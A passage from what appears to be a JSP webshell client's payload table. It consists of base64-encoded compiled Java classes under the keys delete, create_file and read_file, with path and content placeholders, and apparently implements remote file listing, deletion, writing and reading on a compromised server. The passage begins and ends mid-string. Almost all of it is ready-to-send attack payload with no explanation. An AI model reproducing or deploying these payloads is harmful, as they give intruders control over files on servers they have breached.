odG1sBwDCDADKAMkMAMsAyQEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyAQAEdmFyMQwAzADNDADOAM8MAGkAZwwAZgBnAQADLT58DADMANAMAGsAZwEAA3w8LQwA0QDSBwDTDADUAMkBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAJRVJST1I6Ly8gAQADaGV4DABaAFsBABBqYXZhL2xhbmcvU3RyaW5nDADVANYMAFYA1wEABG51bGwBABAwMTIzNDU2Nzg5QUJDREVGDADYAM8BAB1qYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbQwA2QDaDABWANsMANwA3QwA3gDfDADMAOABAAEsDADhANsMAM4AZwEABmJhc2U2NAEAFnN1bi9taXNjL0JBU0U2NERlY29kZXIMAOIA4wEADGphdmEvaW8vRmlsZQwA5ADlBwDmDADnAOgBAA1maWxlLmVuY29kaW5nBwDpDADqAOsBABpqYXZhL3RleHQvU2ltcGxlRGF0ZUZvcm1hdAEAE3l5eXktTU0tZGQgSEg6bW06c3MBAA5qYXZhL3V0aWwvRGF0ZQwA7ADtDABWAO4MAO8A8AwA8QDyAQABUgwA8wDyAQACIFcMAPQAzwwA1QDjDAD1APIBAAIvCQEAAQkMANkA7QwAzAD2AQABCgEAEGphdmEvbGFuZy9PYmplY3QBABxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0AQAdamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2UBAA9bTGphdmEvaW8vRmlsZTsBAApnZXRSZXF1ZXN0AQAgKClMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDsBAAtnZXRSZXNwb25zZQEAISgpTGphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlOwEADGdldFBhcmFtZXRlcgEAFShMamF2YS9sYW5nL1N0cmluZzspVgEADnNldENvbnRlbnRUeXBlAQAUc2V0Q2hhcmFjdGVyRW5jb2RpbmcBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAAh0b1N0cmluZwEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAsKExqYXZhL2xhbmcvU3RyaW5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',
'var1': '#{path}'
},
delete: {
_: 'yv66vgAAADIAvAoAPgBZBwBaCgACAFsKAAIAXAgAXQsAXgBfCABgCABhCABiBwBjCgAKAGQIAGULAGYAZwsAXgBoCwBmAGgHAGkKABAAWQgAagoAEABrCgAQAGwKAD0AbQoAPQBuCABvCgAKAHAKAD0AcQoACgBsCAByCgACAHMKAHQAdQcAdggAdwoAHgBsCAB4CgAjAHkHAHoKACMAewoAIwB8CAB9CAB+CgAjAH8HAIAKACMAgQoAKQCCCgAjAIMKACMAhAoAEACFCACGCgApAIcKACkAiAgAiQcAigoAMwBZCgAzAIsHAIwKADYAZAoANgCNCgA2AI4KADYAjwoANgCQCACRBwBTBwCSAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEABmVxdWFscwEAFShMamF2YS9sYW5nL09iamVjdDspWgEADVN0YWNrTWFwVGFibGUHAFoHAJMHAJQHAHoHAFMHAJIHAGMHAHYBAAJFQwEASihMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQAKRXhjZXB0aW9ucwEABmRlY29kZQcAgAEAE0RlbGV0ZUZpbGVPckRpckNvZGUBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwcAjAcAlQEAClNvdXJjZUZpbGUBABhEZWxldGVGaWxlT3JEaXJDb2RlLmphdmEMAD8AQAEAHWphdmF4L3NlcnZsZXQvanNwL1BhZ2VDb250ZXh0DACWAJcMAJgAmQEAB2VuY29kZXIHAJMMAJoAVAEAAAEAB2NoYXJzZXQBAAVVVEYtOAEAFmphdmEvbGFuZy9TdHJpbmdCdWZmZXIMAD8AmwEACXRleHQvaHRtbAcAlAwAnACbDACdAJsBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgEABHZhcjEMAJ4AnwwAoAChDABRAE8MAE4ATwEAAy0+fAwAngCiDABTAFQBAAN8PC0MAKMApAcApQwApgCbAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEACUVSUk9SOi8vIAEAA2hleAwAQwBEAQAQamF2YS9sYW5nL1N0cmluZwwApwCoDAA/AKkBAARudWxsAQAQMDEyMzQ1Njc4OUFCQ0RFRgwAqgChAQAdamF2YS9pby9CeXRlQXJyYXlPdXRwdXRTdHJlYW0MAKsArAwAPwCtDACuAK8MALAAsQwAngCyAQABLAwAswCtDACgAFQBAAZiYXNlNjQBABZzdW4vbWlzYy9CQVNFNjREZWNvZGVyDAC0ALUBAAxqYXZhL2lvL0ZpbGUMALYAtwwAuAC5DAC6ALcMALsAoQEAATEBABBqYXZhL2xhbmcvT2JqZWN0AQAcamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdAEAHWphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlAQAPW0xqYXZhL2lvL0ZpbGU7AQAKZ2V0UmVxdWVzdAEAICgpTGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3Q7AQALZ2V0UmVzcG9uc2UBACEoKUxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTsBAAxnZXRQYXJhbWV0ZXIBABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAA5zZXRDb250ZW50VHlwZQEAFHNldENoYXJhY3RlckVuY29kaW5nAQAGYXBwZW5kAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAIdG9TdHJpbmcBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEALChMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWZmZXI7AQAGZ2V0T3V0AQAfKClMamF2YXgvc2VydmxldC9qc3AvSnNwV3JpdGVyOwEAG2phdmF4L3NlcnZsZXQvanNwL0pzcFdyaXRlcgEABXByaW50AQAIZ2V0Qnl0ZXMBAAQoKVtCAQAXKFtCTGphdmEvbGFuZy9TdHJpbmc7KVYBAAt0b1VwcGVyQ2FzZQEABmxlbmd0aAEAAygpSQEABChJKVYBAAZjaGFyQXQBAAQoSSlDAQAHaW5kZXhPZgEABChJKUkBABwoSSlMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAFd3JpdGUBAAxkZWNvZGVCdWZmZXIBABYoTGphdmEvbGFuZy9TdHJpbmc7KVtCAQALaXNEaXJlY3RvcnkBAAMoKVoBAAlsaXN0RmlsZXMBABEoKVtMamF2YS9pby9GaWxlOwEABmRlbGV0ZQEAB2dldFBhdGgAIQA9AD4AAAAAAAUAAQA/AEAAAQBBAAAAHQABAAEAAAAFKrcAAbEAAAABAEIAAAAGAAEAAAAHAAEAQwBEAAEAQQAAAasABQAKAAAA9yvAAAJNLLYAA04stgAEOgQtEgW5AAYCAMYADi0SBbkABgIApwAFEgc6BS0SCLkABgIAxgAOLRIIuQAGAgCnAAUSCToGuwAKWRIHtwALOge7AApZEge3AAs6CBkEEgy5AA0CAC0ZBrkADgIAGQQZBrkADwIAKiq7ABBZtwARLRISuQAGAgC2ABMSB7YAE7YAFBkFGQa2ABUZBRkGtgAWOgkZBxIXtgAYVxkIKhkJtgAZtgAYVxkHGQi2ABq2ABhXGQcSG7YAGFcstgAcGQe2ABq2AB2nACI6CRkIuwAQWbcAERIftgATGQm2ACC2ABO2ABS2ABhXBKwAAQBaANMA1gAeAAIAQgAAAFIAFAAAAAoABQALAAoADAAQAA0AKgAOAEQADwBPABAAWgASAGMAEwBrABQAdAAVAKAAFgCoABcAtAAYAL8AGQDHABoA0wAdANYAGwDYABwA9QAeAEUAAABCAAb+ACYHAEYHAEcHAEhBBwBJ/AAXBwBJQQcASf8AkwAJBwBKBwBLBwBGBwBHBwBIBwBJBwBJBwBMBwBMAAEHAE0eAAAATgBPAAIAQQAAAEQABAAEAAAAHiwSIbYAIpoACSwSIaYABSuwuwAjWSu2ACQttwAlsAAAAAIAQgAAAAoAAgAAACEAEQAiAEUAAAAEAAIPAQBQAAAABAABAB4AAABRAE8AAgBBAAABaAAGAAgAAADcLBIhtgAimgAJLBIhpgCfKxImpQAMKxImtgAimQAGEgewEic6BCu2AChMuwApWSu2ACoFbLcAKzoFEgc6BgM2BxUHK7YAKqIAXbsAEFm3ABEZBrYAExkEKxUHtgAstgAtB3gZBCsVBwRgtgAstgAtgLYALhIvtgATtgAUOgYZBRkEKxUHtgAstgAtB3gZBCsVBwRgtgAstgAtgLYAMIQHAqf/oBkFEgm2ADGwLBIytgAimgAJLBIypgAjAToEuwAzWbcANDoFGQUrtgA1OgS7ACNZGQQSCbcAJbArsAAAAAIAQgAAAEoAEgAAACUADwAmAB4AJwAhACkAJQAqACoAKwA5ACwAPQAtAEkALgB9AC8AnQAtAKMAMQCrADIAugAzAL0ANADGADUAzgA2ANoAOABFAAAAKgAIDw4C/wAeAAgHAEoHAEkHAEkHAEkHAEkHAFIHAEkBAAD6AGL4AAcOHwBQAAAABAABAB4AAABTAFQAAgBBAAAAkQADAAUAAABDuwA2WSu3ADdNLLYAOJkALiy2ADlOAzYEFQQtvqIAHy0VBDK2ADqaAA8qLRUEMrYAO7YAGVeEBAGn/+AstgA6VxI8sAAAAAIAQgAAACYACQAAADsACQA8ABAAPQAVAD4AHwA/ACkAQAA1AD4AOwBEAEAARQBFAAAAEAAD/gAYBwBVBwBWARz5AAUAUAAAAAQAAQAeAAEAVwAAAAIAWA==',
'var1': '#{path}'
},
create_file: {
_: 'yv66vgAAADIAxQoAQwBhBwBiCgACAGMKAAIAZAgAZQsAZgBnCABoCABpCABqBwBrCgAKAGwIAG0LAG4AbwsAZgBwCwBuAHAHAHEKABAAYQgAcgoAEABzCgAQAHQKAEIAdQoAQgB2CAB3CAB4CgAKAHkKAEIAegoACgB0CAB7CgACAHwKAH0AfgcAfwgAgAoAHwB0CACBCgAkAIIHAIMKACQAhAoAJACFCACGCACHCgAkAIgHAIkKACQAigoAKgCLCgAkAIwKACQAjQoAEACOCACPCgAqAJAKACoAkQgAkgcAkwoANABhCgA0AJQKAEIAlQcAlgoAOABsBwCXCgA6AJgKADoAkAoAOgCZCACaCgAkAJsKABAAiwoAEACcBwBYBwCdAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEABmVxdWFscwEAFShMamF2YS9sYW5nL09iamVjdDspWgEADVN0YWNrTWFwVGFibGUHAGIHAJ4HAJ8HAIMHAFgHAJ0HAGsHAH8BAAJFQwEASihMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQAKRXhjZXB0aW9ucwEABmRlY29kZQcAiQEADVdyaXRlRmlsZUNvZGUHAJYHAJcBAAtzdHJ0b2hleHN0cgEAOChMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7BwCgBwBxAQAKU291cmNlRmlsZQEAEldyaXRlRmlsZUNvZGUuamF2YQwARABFAQAdamF2YXgvc2VydmxldC9qc3AvUGFnZUNvbnRleHQMAKEAogwAowCkAQAHZW5jb2RlcgcAngwApQCmAQAAAQAHY2hhcnNldAEABVVURi04AQAWamF2YS9sYW5nL1N0cmluZ0J1ZmZlcgwARACnAQAJdGV4dC9odG1sBwCfDACoAKcMAKkApwEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyAQAEdmFyMQwAqgCrDACsAK0MAFYAVAwAUwBUAQAEdmFyMgEAAy0+fAwAqgCuDABYAFQBAAN8PC0MAK8AsAcAsQwAsgCnAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEACUVSUk9SOi8vIAEAA2hleAwASABJAQAQamF2YS9sYW5nL1N0cmluZwwAswC0DABEALUBAARudWxsAQAQMDEyMzQ1Njc4OUFCQ0RFRgwAtgCtAQAdamF2YS9pby9CeXRlQXJyYXlPdXRwdXRTdHJlYW0MALcAuAwARAC5DAC6ALsMALwAvQwAqgC+AQABLAwAvwC5DACsAKYBAAZiYXNlNjQBABZzdW4vbWlzYy9CQVNFNjREZWNvZGVyDADAAMEMAFsAXAEADGphdmEvaW8vRmlsZQEAGGphdmEvaW8vRmlsZU91dHB1dFN0cmVhbQwARADCDADDAEUBAAExDACzAMEMAKoAxAEAEGphdmEvbGFuZy9PYmplY3QBABxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0AQAdamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2UBAAJbQgEACmdldFJlcXVlc3QBACAoKUxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0OwEAC2dldFJlc3BvbnNlAQAhKClMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2U7AQAMZ2V0UGFyYW1ldGVyAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAA5zZXRDb250ZW50VHlwZQEAFHNldENoYXJhY3RlckVuY29kaW5nAQAGYXBwZW5kAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAIdG9TdHJpbmcBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEALChMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWZmZXI7AQAGZ2V0T3V0AQAfKClMamF2YXgvc2VydmxldC9qc3AvSnNwV3JpdGVyOwEAG2phdmF4L3NlcnZsZXQvanNwL0pzcFdyaXRlcgEABXByaW50AQAIZ2V0Qnl0ZXMBAAQoKVtCAQAXKFtCTGphdmEvbGFuZy9TdHJpbmc7KVYBAAt0b1VwcGVyQ2FzZQEABmxlbmd0aAEAAygpSQEABChJKVYBAAZjaGFyQXQBAAQoSSlDAQAHaW5kZXhPZgEA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',
'var1': '#{path}',
'var2': '#{content}'
},
read_file: {
_: 'yv66vgAAADIAxwoARABhBwBiCgACAGMKAAIAZAgARQsAZQBmCABnCQBDAGgIAGkIAGoJAEMAawcAbAoADABtCABuCwBvAHALAGUAcQsAbwBxBwByCgASAGEIAHMKABIAdAoAEgB1CgBDAHYKAEMAdwgAeAoADAB5CgBDAHoKAAwAdQgAewoAAgB8CgB9AH4HAH8IAIAKACAAdQgAgQoAJQCCBwCDCgAlAIQKACUAhQgAhggAhwoAJQCIBwCJCgAlAIoKACsAiwoAJQCMCgAlAI0KABIAjggAjwoAKwCQCgArAJEIAJIHAJMKADUAYQoANQCUBwCVBwCWBwCXBwCYCgA7AG0KADoAmQoAOQCaCgA4AJsKADgAnAgAnQoAOACeBwBdBwCfAQAHZW5jb2RlcgEAEkxqYXZhL2xhbmcvU3RyaW5nOwEAAmNzAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEABmVxdWFscwEAFShMamF2YS9sYW5nL09iamVjdDspWgEADVN0YWNrTWFwVGFibGUHAF0HAJ8HAGIHAKAHAKEHAF0HAIMHAGwHAH8BAAJFQwEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQAKRXhjZXB0aW9ucwEABmRlY29kZQcAiQEADFJlYWRGaWxlQ29kZQcAlQEAClNvdXJjZUZpbGUBABFSZWFkRmlsZUNvZGUuamF2YQwASABJAQAdamF2YXgvc2VydmxldC9qc3AvUGFnZUNvbnRleHQMAKIAowwApAClBwCgDACmAFkBAAAMAEUARgEAB2NoYXJzZXQBAAVVVEYtOAwARwBGAQAWamF2YS9sYW5nL1N0cmluZ0J1ZmZlcgwASACnAQAJdGV4dC9odG1sBwChDACoAKcMAKkApwEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyAQAEdmFyMQwAqgCrDACsAK0MAFsAWQwAWABZAQADLT58DACqAK4MAF0AWQEAA3w8LQwArwCwBwCxDACyAKcBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAJRVJST1I6Ly8gAQADaGV4DABMAE0BABBqYXZhL2xhbmcvU3RyaW5nDACzALQMAEgAtQEABG51bGwBABAwMTIzNDU2Nzg5QUJDREVGDAC2AK0BAB1qYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbQwAtwC4DABIALkMALoAuwwAvAC9DACqAL4BAAEsDAC/ALkMAKwAWQEABmJhc2U2NAEAFnN1bi9taXNjL0JBU0U2NERlY29kZXIMAMAAwQEAFmphdmEvaW8vQnVmZmVyZWRSZWFkZXIBABlqYXZhL2lvL0lucHV0U3RyZWFtUmVhZGVyAQAXamF2YS9pby9GaWxlSW5wdXRTdHJlYW0BAAxqYXZhL2lvL0ZpbGUMAEgAwgwASADDDABIAMQMAMUArQEAAg0KDADGAEkBABBqYXZhL2xhbmcvT2JqZWN0AQAcamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdAEAHWphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlAQAKZ2V0UmVxdWVzdAEAICgpTGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3Q7AQALZ2V0UmVzcG9uc2UBACEoKUxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTsBAAxnZXRQYXJhbWV0ZXIBABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAA5zZXRDb250ZW50VHlwZQEAFHNldENoYXJhY3RlckVuY29kaW5nAQAGYXBwZW5kAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAIdG9TdHJpbmcBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEALChMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWZmZXI7AQAGZ2V0T3V0AQAfKClMamF2YXgvc2VydmxldC9qc3AvSnNwV3JpdGVyOwEAG2phdmF4L3NlcnZsZXQvanNwL0pzcFdyaXRlcgEABXByaW50AQAIZ2V0Qnl0ZXMBAAQoKVtCAQAXKFtCTGphdmEvbGFuZy9TdHJpbmc7KVYBAAt0b1VwcGVyQ2FzZQEABmxlbmd0aAEAAygpSQEABChJKVYBAAZjaGFyQXQBAAQoSSlDAQAHaW5kZXhPZgEABChJKUkBABwoSSlMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAFd3JpdGUBAAxkZWNvZGVCdWZmZXIBABYoTGphdmEvbGFuZy9TdHJpbmc7KVtCAQARKExqYXZhL2lvL0ZpbGU7KVYBACooTGphdmEvaW8vSW5wdXRTdHJlYW07TGphdmEvbGFuZy9TdHJpbmc7KVYBABMoTGphdmEvaW8vUmVhZGVyOylWAQAIcmVhZExpbmUBAAVjbG9zZQAhAEMARAAAAAIAAQBFAEYAAAABAEcARgAAAAUAAQBIAEkAAQBKAAAAHQABAAEAAAAFKrcAAbEAAAABAEsAAAAGAAEAAAAGAAEATABNAAEASgAAAeAABQAIAAAA9yvAAAJNLLYAA04stgAEOgQqLRIFuQAGAgDGAA4tEgW5AAYCAKcABRIHtQAIKi0SCbkABgIAxgAOLRIJuQAGAgCnAAUSCrUAC7sADFkSB7cADToFuwAMWRIHtwANOgYZBBIOuQAPAgAtKrQAC7kAEAIAGQQqtAALuQARAgAqKrsAElm3ABMtEhS5AAYCALYAFRIHtgAVtgAWtgAXtgAYOgcZBRIZtgAaVxkGKhkHtgAbtgAaVxkFGQa2ABy2ABpXGQUSHbYAGlcstgAeGQW2ABy2AB+nACI6BxkGuwASWbcAExIhtgAVGQe2ACK2ABW2ABa2ABpXBKwAAQBeANMA1gAgAAIASwAAAFIAFAAAAAsABQAMAAoA